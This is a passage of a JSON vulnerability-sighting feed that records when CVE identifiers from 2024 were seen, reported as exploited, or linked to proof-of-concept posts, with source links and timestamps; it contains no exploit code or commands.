"CVE-2024-50608", "type": "seen", "source": "https://t.me/purp_sec/300", "content": "", "creation_timestamp": "2026-08-04T13:00:10.784888Z"}, {"uuid": "2b8b284b-e885-43af-9de0-289420b5ad26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-5060", "type": "seen", "source": "https://t.me/purp_sec/300", "content": "", "creation_timestamp": "2026-08-04T13:00:10.601463Z"}, {"uuid": "f1890be5-19c7-4cac-b7d6-1ca6b58e05da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50394", "type": "seen", "source": "https://t.me/purp_sec/351", "content": "", "creation_timestamp": "2026-08-04T13:00:08.809416Z"}, {"uuid": "547d670f-f423-4c9c-a0e8-77c745d372bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50394", "type": "seen", "source": "https://t.me/purp_sec/351", "content": "", "creation_timestamp": "2026-08-05T00:00:26.030423Z"}, {"uuid": "2863f615-b2a3-4063-bf68-1c5e2e2fbee2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-5060", "type": "seen", "source": "https://t.me/purp_sec/300", "content": "", "creation_timestamp": "2026-08-05T00:00:23.279834Z"}, {"uuid": "3f3ba21f-9f5c-479f-b176-efa7db101345", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50608", "type": "seen", "source": "https://t.me/purp_sec/300", "content": "", "creation_timestamp": "2026-08-05T00:00:23.079960Z"}, {"uuid": "e182fe93-5ec0-49bd-94e8-8c267b81da78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://t.me/purp_sec/195", "content": "", "creation_timestamp": "2026-08-05T00:00:09.654425Z"}, {"uuid": "3a32cac9-3b02-4693-bf75-a780fd029408", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50603", "type": "published-proof-of-concept", "source": "https://t.me/purp_sec/152", "content": "", "creation_timestamp": "2026-08-05T00:00:06.854929Z"}, {"uuid": "21d7c468-c5a2-4a9b-863f-49fd54abe343", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50603", "type": "exploited", "source": "https://t.me/purp_sec/153", "content": "", "creation_timestamp": "2026-08-05T00:00:06.825102Z"}, {"uuid": "b12ba742-7ae2-4ca5-9640-5caa0ac134de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://t.me/ZerodayAlert/438", "content": "", "creation_timestamp": "2026-08-06T04:00:04.839270Z"}, {"uuid": "d4433cd0-1fb1-4e55-a822-bd6a48ad3017", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50337", "type": "seen", "source": "https://t.me/ZerodayAlert/435", "content": "", "creation_timestamp": "2026-08-06T04:00:04.650721Z"}, {"uuid": "3e0c1b5b-5811-4d83-9cf5-7a841aa0ed0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://t.me/ZerodayAlert/438", "content": "", "creation_timestamp": "2026-08-07T00:39:00.867058Z"}, {"uuid": "3b491e41-67e4-40bd-915e-c0876b80ee5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50337", "type": "seen", "source": "https://t.me/ZerodayAlert/435", "content": "", "creation_timestamp": "2026-08-07T01:19:42.737276Z"}, {"uuid": "81060d6c-f8cd-45c5-992c-0ea7c99cbdea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://t.me/Intel_Encyclopedia/1102", "content": "", "creation_timestamp": "2026-08-09T04:04:01.441742Z"}, {"uuid": "febf7f8d-2875-45a0-9ab9-2b2360347d4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://t.me/Intel_Encyclopedia/1102", "content": "", "creation_timestamp": "2026-08-10T00:00:33.478158Z"}, {"uuid": "fedc118f-ac00-47c0-9c03-29a2687630f0", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50340", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/e4bf7c60-a09e-4d8e-b185-9f3ce04eecac", "content": "", "creation_timestamp": "2026-09-11T11:00:41.419996Z"}]}